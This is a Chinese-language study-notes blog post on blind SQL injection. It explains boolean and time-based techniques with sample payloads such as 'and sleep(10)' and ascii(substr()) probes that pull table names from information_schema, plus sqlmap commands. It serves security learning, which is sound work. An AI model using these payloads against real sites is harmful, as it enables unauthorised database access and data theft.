写点什么

【学习记录】SQL 注入 -- 盲注

作者:w010w
  • 2022-11-02
    新疆
  • 本文字数:867 字

    阅读完需:约 3 分钟

盲注

没有显错位

页面没有输出点(后端代码写了输出才会有显示)

布尔盲注和时间盲注

页面有显示,会显示有无数据,能判对错

时间盲注,能判时间

布尔盲注

例如传入参数?id=1 and database()='database_name'

如果库名真的是 database_name,就会返回正确的页面;如果显示异常,说明错误

时间盲注

例如传入参数?id=1 and sleep(10)

如果页面延时显示,说明 sleep 被执行了,这里存在注入

爆破技巧

做切割,例如一位一位的跑,判断每一位是否正确,数量级会小很多

切割函数 substr()

substr()截取字符串

substr(str,pos,len) //str-被截取的字符串;pos-开始截取的位置;len-被截取的长度
复制代码

可以将 str 替换为查找的东西,比如 substr(database(),1,1)截取当前库名的第一个字符

字符串长度 length()

用法示例(还是以 database()为例)

select length(database());
复制代码

用作传参检查进行布尔盲注时:

?id=1 and length(database())>6 如果页面显示正常,说明 database()字符串的长度大于 6

然后就可以测试出 database()的长度

还可以在外面套一层 ascii()获得当前字符 ascii 的范围(配合切割函数使用)

?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5

这里的布尔盲注是看 information_schema 库中的 tables 表的 table_name 字段的第一个值(就是系统库中存储表名的表中存储的第一个表名)是否大于 5.从页面返回是否正常判断,继而可以测试出第一个表的表名长度

?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79

系统库中存储表名的表中存储的第一个表名的第一个字符的 ascii 码值是否大于 79,其他和上一条相同

if(条件,成立执行,不成立执行)

例如

select if(1=1,2,3)  --返回2,因为1=1正确select if(1=2,2,3)  --返回3,因为1=2错误,执行select3
复制代码

使用工具/脚本

burp(跑多重参数)

python 脚本

sqlmap

python sqlmap.py -u "url?id=1"

*目标注入点有特殊闭合的时候要加上闭合,例如注入点是 ")

命令就是 python sqlmap.py -u "url?id=1")"

*表名和字段名的 ascii 码值一般在 32-127

 

发布于: 刚刚阅读数: 5
用户头像

w010w

关注

还未添加个人签名 2022-10-17 加入

还未添加个人简介

评论

发布
暂无评论
【学习记录】SQL注入--盲注_网络安全_w010w_InfoQ写作社区